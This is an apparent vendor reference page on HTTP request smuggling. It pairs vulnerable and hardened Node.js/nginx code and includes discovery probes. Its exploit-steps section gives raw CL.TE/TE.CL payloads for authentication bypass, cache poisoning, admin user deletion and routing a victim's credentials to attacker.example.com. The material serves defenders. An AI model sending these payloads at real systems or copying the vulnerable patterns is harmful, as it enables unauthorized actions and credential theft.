HTTP Request Smuggling
HTTP Request Smuggling at a glance
Overview
Request smuggling exploits differences in how HTTP framing (Content-Length vs chunked Transfer-Encoding, pipelining behavior, header normalization) is interpreted. A front-end may consider one set of bytes as request A while the backend considers them as request A plus a smuggled request B. The attacker crafts the byte stream so their malicious request B reaches the origin in the context of another user's session or hits internal-only endpoints.
Where it occurs
It occurs in complex HTTP stacks where CDNs, proxies, or origin servers parse requests differently, often due to inconsistent or outdated components in multi-hop architectures.
Impact
Impacts vary from cache poisoning (serving attacker content to many users) to triggering internal admin endpoints, bypassing authentication, or achieving session hijacks. Because the attack manipulates the boundary between users, it can be used to escalate localized access into broader compromise.
Prevention
Prevent HTTP request smuggling by enforcing consistent framing rules, rejecting ambiguous headers, patching and upgrading servers, normalizing or dropping hop-by-hop headers, disabling pipelining, and isolating sensitive admin endpoints.
Examples
Switch tabs to view language/framework variants.
Smuggled request causes cache poisoning of public content
Smuggled requests can cause the origin to return attacker controlled content which the proxy caches and serves to other users.
N/A - misconfiguration between proxy and origin- Line 1: Misaligned caching assumptions between proxy and origin expose cache poisoning vectors
Smuggled requests that lead to attacker controlled content and are cached by proxies amplify impact by serving poisoned content to many victims.
// Mitigation: configure proxy to only cache responses from origin for explicitly allowed paths, and ensure origin sets cache headers correctly. Reject or normalize ambiguous request framing.- Line 1: Only cache responses that are explicitly cacheable and come from canonical request paths
Harden caching rules, honor Vary and Cache-Control correctly, and avoid caching responses derived from untrusted or ambiguous inputs.
Engineer Checklist
-
Reject requests that include both Transfer-Encoding and Content-Length or multiple Content-Length headers at the edge
-
Upgrade proxies, CDNs, and servers to versions with smuggling mitigations
-
Disable or normalize pipelining and persistent connection behaviors if your stack cannot guarantee canonical parsing
-
Harden caches and avoid caching responses for paths that can be influenced by ambiguous inputs
-
Add anomaly logging for ambiguous headers and short raw captures for triage
-
Separate admin/internal endpoints from public origin servers or place them behind mutually authenticated channels
End-to-End Example
A public API sits behind a legacy load balancer that and an origin web server with differing parsing behavior. An attacker crafts a request with both Transfer-Encoding: chunked and a Content-Length header. The load balancer accepts the first chunk and forwards bytes to the origin, while the origin consumes framing differently and treats the trailing bytes as an admin request. The attacker triggers an internal action such as /admin/flush that should never be reachable from the public edge.
// HTTP Request Smuggling - Vulnerable configurations and parsing
// VULNERABLE: Node.js server that doesn't validate Transfer-Encoding
// When behind a proxy that interprets headers differently
const http = require('http');
const server = http.createServer((req, res) => {
// VULNERABLE: Node's default HTTP parser may handle Transfer-Encoding
// differently than front-end proxy
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
// VULNERABLE: If proxy and Node disagree on where request ends,
// the 'leftover' bytes get processed as a new request
// potentially hitting admin endpoints
console.log('Received:', req.method, req.url);
console.log('Body length:', body.length);
// Normal endpoint
if (req.url === '/api/data') {
res.writeHead(200);
res.end(JSON.stringify({ data: 'public' }));
}
// VULNERABLE: Admin endpoint on same server as public endpoints
// Accessible if smuggled request reaches it
if (req.url === '/admin/flush-cache') {
// No IP restriction or mutual TLS check!
// Smuggled request can reach this
res.writeHead(200);
res.end('Cache flushed');
}
});
});
server.listen(8080);
// VULNERABLE: nginx config that may disagree with backend on parsing
/*
upstream backend {
server localhost:8080;
# VULNERABLE: keepalive enables request smuggling
keepalive 32;
}
server {
listen 80;
location / {
# VULNERABLE: No validation of Transfer-Encoding + Content-Length
# nginx and backend may parse differently
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
# VULNERABLE: No check for ambiguous framing
# Both CL and TE headers may pass through
}
}
*/
// VULNERABLE: Express app with no smuggling protection
app.post('/api/process', (req, res) => {
// VULNERABLE: Express behind a proxy that parses differently
// If proxy uses Content-Length but Express uses Transfer-Encoding,
// trailing bytes become a smuggled request
const data = req.body;
// Process request normally
res.json({ processed: true });
// But if request contained:
// Content-Length: 100
// Transfer-Encoding: chunked
//
// Proxy reads 100 bytes (via CL)
// Express reads chunks (via TE)
// Leftover bytes = smuggled request!
});
// VULNERABLE: No detection or logging of ambiguous headers
app.use((req, res, next) => {
// Missing validation:
// - Both Transfer-Encoding AND Content-Length present
// - Multiple Content-Length headers
// - Obfuscated Transfer-Encoding (e.g., "chunked, identity")
next();
});
// Example of ambiguous request that causes CL.TE desync:
/*
POST /api/process HTTP/1.1
Host: app.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
*/
// Front-end proxy uses Content-Length: 13, forwards exactly 13 bytes:
// "0\n\nSMUGGLED"
// Backend uses Transfer-Encoding: chunked, reads chunk "0" (means end),
// then "SMUGGLED" remains in buffer and gets treated as NEW request!// HTTP Request Smuggling - Secure configurations and detection
// SECURE: Express middleware to detect and reject ambiguous requests
app.use((req, res, next) => {
const transferEncoding = req.get('Transfer-Encoding');
const contentLength = req.get('Content-Length');
// SECURE: Reject requests with both Transfer-Encoding and Content-Length
if (transferEncoding && contentLength) {
console.error('Ambiguous request framing detected:', {
ip: req.ip,
url: req.url,
headers: req.headers
});
return res.status(400).json({
error: 'Invalid request: ambiguous Transfer-Encoding and Content-Length'
});
}
// SECURE: Reject multiple Content-Length headers
const clHeaders = req.rawHeaders.filter((h, i) =>
i % 2 === 0 && h.toLowerCase() === 'content-length'
);
if (clHeaders.length > 1) {
console.error('Multiple Content-Length headers detected:', req.rawHeaders);
return res.status(400).json({
error: 'Invalid request: multiple Content-Length headers'
});
}
// SECURE: Validate Transfer-Encoding format
if (transferEncoding) {
const normalized = transferEncoding.toLowerCase().trim();
// Only allow 'chunked', reject obfuscated variants
if (normalized !== 'chunked') {
console.error('Invalid Transfer-Encoding:', transferEncoding);
return res.status(400).json({
error: 'Invalid Transfer-Encoding value'
});
}
}
next();
});
// SECURE: Admin endpoints on separate internal server
// NOT accessible through public proxy
const adminServer = http.createServer((req, res) => {
// Validate client certificate (mutual TLS)
const cert = req.socket.getPeerCertificate();
if (!cert || !cert.subject) {
res.writeHead(401);
return res.end('Unauthorized');
}
// Validate source IP is internal network
const clientIP = req.socket.remoteAddress;
if (!isInternalIP(clientIP)) {
res.writeHead(403);
return res.end('Forbidden');
}
// Admin actions only accessible with proper auth
if (req.url === '/admin/flush-cache') {
res.writeHead(200);
res.end('Cache flushed (authenticated)');
}
});
// Listen on internal-only interface
adminServer.listen(8081, '127.0.0.1');
function isInternalIP(ip) {
// Check if IP is in internal ranges
return ip === '127.0.0.1' ||
ip.startsWith('10.') ||
ip.startsWith('192.168.') ||
ip.startsWith('172.16.');
}
// SECURE: nginx configuration with smuggling protection
/*
upstream backend {
server localhost:8080;
# Limit or disable keepalive to prevent request queue issues
keepalive 0;
}
server {
listen 80;
# Reject ambiguous framing at the edge
if ($http_transfer_encoding != "") {
set $has_te 1;
}
if ($http_content_length != "") {
set $has_cl 1;
}
set $ambiguous "${has_te}${has_cl}";
if ($ambiguous = "11") {
return 400 "Ambiguous request framing";
}
location / {
# Use HTTP/1.1 but disable pipelining
proxy_pass http://backend;
proxy_http_version 1.1;
# Normalize Connection header
proxy_set_header Connection "";
# Don't allow proxy to buffer for smuggling
proxy_request_buffering on;
# Set timeouts to prevent smuggled requests
proxy_connect_timeout 5s;
proxy_send_timeout 10s;
proxy_read_timeout 10s;
}
# Admin endpoints NOT exposed through public proxy
location /admin {
return 403 "Forbidden";
}
}
# Separate internal admin server
server {
listen 8081;
# Only bind to loopback
bind 127.0.0.1;
# Require client certificates
ssl_client_certificate /etc/nginx/client-ca.crt;
ssl_verify_client on;
location /admin {
proxy_pass http://localhost:8082;
}
}
*/
// SECURE: Detection and monitoring
app.use((req, res, next) => {
const originalOn = res.on.bind(res);
const startTime = Date.now();
res.on('finish', () => {
const duration = Date.now() - startTime;
// Log suspicious patterns
if (duration > 30000) { // 30 second timeout
console.warn('Suspicious long request:', {
ip: req.ip,
url: req.url,
duration,
headers: req.headers
});
}
});
next();
});
// SECURE: Rate limiting on connection level
const connectionCounts = new Map();
setInterval(() => {
// Cleanup old entries
connectionCounts.clear();
}, 60000); // Reset every minute
app.use((req, res, next) => {
const ip = req.ip;
const count = connectionCounts.get(ip) || 0;
// Detect rapid-fire requests that might indicate smuggling attempts
if (count > 100) {
console.error('Rate limit exceeded, possible smuggling:', ip);
return res.status(429).json({ error: 'Too many requests' });
}
connectionCounts.set(ip, count + 1);
next();
});Discovery
This vulnerability is discovered by sending HTTP requests with conflicting Content-Length and Transfer-Encoding headers to detect discrepancies in how front-end and back-end servers parse request boundaries, causing desynchronization.
-
1. Baseline request timing
httpAction
Send normal requests to establish baseline timing and response behavior for comparison
Request
POST https://app.example.com/apiResponse
Status: 200Body:{ "note": "Normal response time and single request logged at edge and origin" }Artifacts
http_response_time edge_logs origin_logs -
2. CL.TE desync detection
httpAction
Test if front-end uses Content-Length while backend uses Transfer-Encoding by sending conflicting headers
Request
RAW tcp://edge:80Body:"POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nContent-Length: 4\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\nQ"
Response
Status: 200Body:{ "note": "Backend timeout or error indicates it's waiting for chunk terminator, confirming CL.TE" }Artifacts
http_response_status response_time -
3. TE.CL desync detection
httpAction
Test if front-end uses Transfer-Encoding while backend uses Content-Length
Request
RAW tcp://edge:80Body:"POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 6\\r\\n\\r\\n0\\r\\n\\r\\nX"
Response
Status: 200Body:{ "note": "Next request on connection receives unexpected response, indicating smuggled prefix" }Artifacts
http_response_body connection_reuse_behavior -
4. Smuggle request to internal endpoint
httpAction
Attempt to smuggle a request to an internal-only endpoint to confirm exploitability
Request
RAW tcp://edge:80Body:"POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 60\\r\\n\\r\\n0\\r\\n\\r\\nGET /admin/health HTTP/1.1\\r\\nHost: app.example.com\\r\\n\\r\\n"
Response
Status: 200Body:{ "note": "Origin access logs show /admin/health request that edge did not log, confirming smuggling" }Artifacts
edge_logs origin_logs http_response
Exploit steps
An attacker exploits this by smuggling malicious requests that are processed as part of subsequent legitimate requests, enabling cache poisoning, request routing manipulation, firewall bypass, or hijacking other users' requests.
-
1. Bypass authentication via request smuggling
Smuggle authenticated request
httpAction
Poison victim's request by prepending smuggled admin endpoint access
Request
RAW tcp://edge:80Body:"POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 150\\r\\n\\r\\n0\\r\\n\\r\\nGET /admin/users HTTP/1.1\\r\\nHost: app.example.com\\r\\nX-Ignore: X"
Response
Status: 200Body:{ "note": "Smuggled request inherits next victim's session, bypassing authentication" }Artifacts
http_response_body origin_logs -
2. Cache poisoning via smuggling
Poison shared cache
httpAction
Smuggle request that poisons cache with attacker-controlled response for all users
Request
RAW tcp://edge:80Body:"POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 200\\r\\n\\r\\n0\\r\\n\\r\\nGET /static/main.js HTTP/1.1\\r\\nHost: app.example.com\\r\\nX-Poison: malicious\\r\\n\\r\\n"
Response
Status: 200Body:{ "note": "CDN caches poisoned response; all users receive malicious JavaScript" }Artifacts
cache_headers http_response_body -
3. Execute privileged admin actions
Smuggle destructive admin request
httpAction
Craft desync payload to execute admin-only actions like user deletion or config changes
Request
RAW tcp://edge:80Body:"POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 180\\r\\n\\r\\n0\\r\\n\\r\\nPOST /admin/delete-user HTTP/1.1\\r\\nHost: app.example.com\\r\\nContent-Type: application/json\\r\\nContent-Length: 15\\r\\n\\r\\n{\"id\":\"1234\"}"Response
Status: 200Body:{ "note": "Admin action executes without authorization, user deleted from system" }Artifacts
database_changes audit_logs -
4. Credential hijacking via request routing
Capture victim credentials
httpAction
Smuggle request that causes next victim's request body to be routed to attacker-controlled endpoint
Request
RAW tcp://edge:80Body:"POST /api HTTP/1.1\\r\\nHost: app.example.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 250\\r\\n\\r\\n0\\r\\n\\r\\nPOST /log-capture HTTP/1.1\\r\\nHost: attacker.example.com\\r\\nContent-Length: 500\\r\\n\\r\\n"
Response
Status: 200Body:{ "note": "Next victim's login credentials are sent to attacker's logging endpoint" }Artifacts
attacker_server_logs captured_credentials
Specific Impact
An attacker triggers internal administration actions that can delete data, flush caches, or alter configuration. Because the edge did not record the admin action, tracing and incident response are harder and the attacker may persist a backdoor.
Recovery requires patching proxy/origin parsing, rotating secrets, auditing logs across components, invalidating caches, and reviewing for other smuggled requests processed during the incident window.
Fix
Fixes require canonicalizing HTTP parsing across the stack and rejecting ambiguous requests. Coordinate network and platform teams to deploy vendor recommended patches and to add detection and logging for ambiguity. Where possible, locate admin endpoints on separate internal-only hosts that are not reachable via the public CDN or proxy.
Detect This Vulnerability in Your Code
Sourcery automatically identifies http request smuggling vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free